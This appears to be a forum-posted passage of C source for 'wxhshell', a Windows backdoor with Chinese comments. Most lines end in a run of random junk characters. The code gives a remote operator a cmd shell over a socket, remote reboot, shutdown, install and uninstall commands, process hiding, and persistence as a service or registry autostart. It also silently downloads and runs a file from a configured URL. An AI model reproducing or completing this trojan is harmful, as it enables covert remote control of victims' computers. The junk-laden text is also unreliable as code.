  am_gH  
  // 帮助 tj]9~eJ-  
  case '?': { ZlYPoOq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X2mREt9  
    break; -7uwOr  
  } [OTJVpC  
  // 安装 b*fgv9Kh'  
  case 'i': { lDC$F N  
    if(Install()) R`";Z$~{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Dp/('Z2  
    else LLWB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GsbAlNP  
    break; +QM@VQ  
    } zOEY6lAwI  
  // 卸载 "TV(H+1,z  
  case 'r': { !J*,)kRN  
    if(Uninstall()) {HC@u{K -  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %u^ JpC{E  
    else -5>-%13  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G'zF)0oD  
    break; ;VO.!5W@eg  
    } aKUS5jDu  
  // 显示 wxhshell 所在路径 \? j E#^  
  case 'p': { XS0xLt=  
    char svExeFile[MAX_PATH]; w:Jrmx  
    strcpy(svExeFile,"\n\r"); X.K<4N0A9J  
      strcat(svExeFile,ExeFile); ``,k5!a66\  
        send(wsh,svExeFile,strlen(svExeFile),0); 3lLMu B+  
    break; BYW^/B Y)  
    } @''GPL@  
  // 重启 ]Fvm 7V  
  case 'b': { H_!4>G@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <D&)OxEn\  
    if(Boot(REBOOT)) =z?%;4'|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OX%MP!#KU  
    else { 2>-S-;i  
    closesocket(wsh); o47r<>t  
    ExitThread(0); RO0>I8c1c  
    } 3Y)PU=  
    break; S0g'r !;6  
    } aw ?=hXR!  
  // 关机 =z{JgD/  
  case 'd': { +5.t. d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \ 6EKgC1  
    if(Boot(SHUTDOWN)) t:JI!DR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cH<q:OYi  
    else { VKm!Ri$  
    closesocket(wsh); FVv8--  
    ExitThread(0); 4$/i%B#ad  
    } .t&R>9cZ^  
    break; M fk2mIy  
    } T,fI BD:  
  // 获取shell Tj~IaU  
  case 's': { 1[*UYcD  
    CmdShell(wsh); *'"T$ib  
    closesocket(wsh); H4OhIxK  
    ExitThread(0); Bb&^ {7  
    break; #QvMVy  
  } ,U*)2`[  
  // 退出 4> ^K:/y  
  case 'x': { ?Y:x[pOe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ; )Kh;;e  
    CloseIt(wsh); Vh3Ijn  
    break; &Gm$:T'~  
    } Y\],2[liF  
  // 离开 y5= `ap  
  case 'q': { Ae^X35  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p <eC<dtu  
    closesocket(wsh); @ZN^1?][  
    WSACleanup(); 3$vRW.c\q  
    exit(1); Md)zEj`\  
    break; !KKT[28v  
        } k^$+n_  
  } q0%  
  } wn Y$fT9  
at!Y3VywG  
  // 提示信息 l ?Y_~Wuw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^^i6|l1  
} *?QE2&S:  
  } syx\gz  
G.+l7bnZM  
  return; B) $c|dUV  
} WWwUwUi  
BY\:dx)mK  
// shell模块句柄 =k}SD96  
int CmdShell(SOCKET sock) 3`O?16O  
{ X u"R^  
STARTUPINFO si; G{aT2c  
ZeroMemory(&si,sizeof(si)); TUL_TR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0Q"u#V Sp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]U[X1W+@  
PROCESS_INFORMATION ProcessInfo; JJV0R}z?TV  
char cmdline[]="cmd"; o sbHs$C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bf_I9Z3m  
  return 0; NRnRMY-  
} 0U66y6  
-71dN0hWh  
// 自身启动模式 -B#yy]8  
int StartFromService(void)  g]*  
{ /Y[~-Y+!,  
typedef struct PI A)d-Z  
{ ]!:oYAm  
  DWORD ExitStatus; s/"&9F3  
  DWORD PebBaseAddress; Zn:R PMk*  
  DWORD AffinityMask; y`e4;*1  
  DWORD BasePriority; f0+2t.tj  
  ULONG UniqueProcessId; JXiZB 8}  
  ULONG InheritedFromUniqueProcessId; {P8[X@Lu  
}   PROCESS_BASIC_INFORMATION; e{({|V '  
@/ J [t  
PROCNTQSIP NtQueryInformationProcess; `&M{cfp_  
,~ ?'Ef80  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O <9~Kgd8h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r%wA&FQ8U  
^x*nq3^h\  
  HANDLE             hProcess; 6 y"-I !&  
  PROCESS_BASIC_INFORMATION pbi; LL!.c  
B bhfG64  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k.h`Cji@  
  if(NULL == hInst ) return 0; W-RqN!snJ8  
8pLBt:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IWVlrGyM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t<uYM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fBBa4"OK=  
8$xPex~2  
  if (!NtQueryInformationProcess) return 0; ci,+Bjc  
fkfZ>D^1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?wMHS4  
  if(!hProcess) return 0; q<e&0u4  
Vi! Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xog/O i  
hovGQHg  
  CloseHandle(hProcess); g*\/N,"z  
lJykyyCY+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G@!z$  
if(hProcess==NULL) return 0; MgnM,95  
2.}R  
HMODULE hMod; !=Y;h[J.p  
char procName[255]; CR4rDh8za  
unsigned long cbNeeded; ?tf&pgo  
78n}rT%k1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3HG;!D~m;  
y-?>*fN o  
  CloseHandle(hProcess); dYFzye  
@$Qof1j'%  
if(strstr(procName,"services")) return 1; // 以服务启动 mOll5O7VW  
fbrp#G71y  
  return 0; // 注册表启动 (A k\Lm  
} ,zcQS-e2  
lw8"'0  
// 主模块 (J$\-a7<f  
int StartWxhshell(LPSTR lpCmdLine) z^* '@  
{ kg5ev8  
  SOCKET wsl; Eu@5L9A  
BOOL val=TRUE; \`'KlF2  
  int port=0; Qx|H1_6  
  struct sockaddr_in door; @54*.q$  
CDMfa&;T  
  if(wscfg.ws_autoins) Install(); tury<*  
3 K/Df#  
port=atoi(lpCmdLine); WiNT;v[  
PL0`d`TI  
if(port<=0) port=wscfg.ws_port; ~%w~-O2  
TmRx KrRs  
  WSADATA data; wyc D>hc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )\/ =M*  
yT OyDm-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XR# ;{p+b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a+41|)pt  
  door.sin_family = AF_INET; /%x7+Rl\-^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1ZJ4*bn  
  door.sin_port = htons(port); ]rd/;kg.S  
4C_c\;d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _cJ[ FP1  
closesocket(wsl); 9~AWng  
return 1; /  YiQ\  
} hp!d/X=J_  
iCG`3(xL  
  if(listen(wsl,2) == INVALID_SOCKET) { =?@Q -(bp  
closesocket(wsl); khd5 Cf[   
return 1; 'aJgLws*w  
} Lrz3   
  Wxhshell(wsl); `hh9"Ws%  
  WSACleanup(); XaI;2fMGI  
tgFJZA  
return 0; $Ptk|qFe  
W+>wu%[L  
} BW[5o3 i  
=y ]Jl,_.  
// 以NT服务方式启动 i`U: gw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cH`^D?#se  
{ qV1O-^&[f=  
DWORD   status = 0; O_@2;iD^^  
  DWORD   specificError = 0xfffffff; }amU[U,  
-mNQ;zI1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IY(h~O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dT@UK^\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4z4v\IpB  
  serviceStatus.dwWin32ExitCode     = 0; o.:p_(|hI  
  serviceStatus.dwServiceSpecificExitCode = 0; ~GB=Nz  
  serviceStatus.dwCheckPoint       = 0; ^i%A7pg  
  serviceStatus.dwWaitHint       = 0; ~2 }Pl)  
oVkq2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @Z(rgF{{  
  if (hServiceStatusHandle==0) return; =iz,S:[  
.:1qK<vz  
status = GetLastError(); uZjI?Z.A  
  if (status!=NO_ERROR) a_T,t'6  
{ MOz}Q1`a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y)HbxFF`/  
    serviceStatus.dwCheckPoint       = 0; B+VuUt{S  
    serviceStatus.dwWaitHint       = 0; tiQ;#p7%  
    serviceStatus.dwWin32ExitCode     = status; <HoAj"xf  
    serviceStatus.dwServiceSpecificExitCode = specificError; q|#MB7e/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mMw;0/n  
    return; ma8wmQ9JR  
  } S)\8|ym6!  
9/TY\?U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a<Uqyilm  
  serviceStatus.dwCheckPoint       = 0; y%(X+E"n*  
  serviceStatus.dwWaitHint       = 0; ija: H'j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); : iCM=k  
} XF,<i1ZlM  
m@qqVRn#)  
// 处理NT服务事件,比如:启动、停止 vE\lp8j+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D!FaEN  
{ ," R>}kPli  
switch(fdwControl) KsdG(.I+ek  
{ a8uYs DS  
case SERVICE_CONTROL_STOP: o"_=K%9  
  serviceStatus.dwWin32ExitCode = 0; z]#hWfM4B:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B4W\ t{  
  serviceStatus.dwCheckPoint   = 0; 2"/yEg*=  
  serviceStatus.dwWaitHint     = 0; 7 ^I:=qc72  
  { ey1Z/|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5{l1A (b  
  } :$H!@n*/R  
  return; k$[{n'\@  
case SERVICE_CONTROL_PAUSE: 'F_}xMU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }=@zj6AC  
  break; D1"7s,Hmu  
case SERVICE_CONTROL_CONTINUE: /8eW@IO.F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C ?7X"~ ~  
  break; I6dm@{/:>  
case SERVICE_CONTROL_INTERROGATE: d79N-O-  
  break; s44iEh=V(I  
}; ,b' 4CF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aWvd`qA9r  
} 7kz-V.  
960qvz!  
// 标准应用程序主函数 HHS45kg[c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K5flit4-  
{ 1j3=o }m  
+WF.wP?y  
// 获取操作系统版本 0=[0|`x  
OsIsNt=GetOsVer(); Y6eEGo"K.+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S<oQ}+4[~  
iHz[Zw^.s  
  // 从命令行安装 b=LF%P  
  if(strpbrk(lpCmdLine,"iI")) Install(); < 5ZJ]W  
c4|so=  
  // 下载执行文件 :C%47qv  
if(wscfg.ws_downexe) { 9*pG?3*I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3%IWGmye4  
  WinExec(wscfg.ws_filenam,SW_HIDE); z\}!RBOq  
} { /<4'B  
_T~H[&Hl  
if(!OsIsNt) { =lrN'$z?%  
// 如果时win9x,隐藏进程并且设置为注册表启动 0xBY(#;Q  
HideProc(); R<g=\XO'y  
StartWxhshell(lpCmdLine); JuJ5qIal  
} N$Hqa^!'T  
else && C~@WY,r  
  if(StartFromService()) wItzcY1m  
  // 以服务方式启动 iQqbzOY  
  StartServiceCtrlDispatcher(DispatchTable); D44I"TgqD  
else G%OpO.Wf  
  // 普通方式启动 k+\7B}7F  
  StartWxhshell(lpCmdLine); NgxO&Zp  
RndOm.TE  
return 0; qJMp1DC  
}
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只看该作者 1 发表于: 2006-10-10
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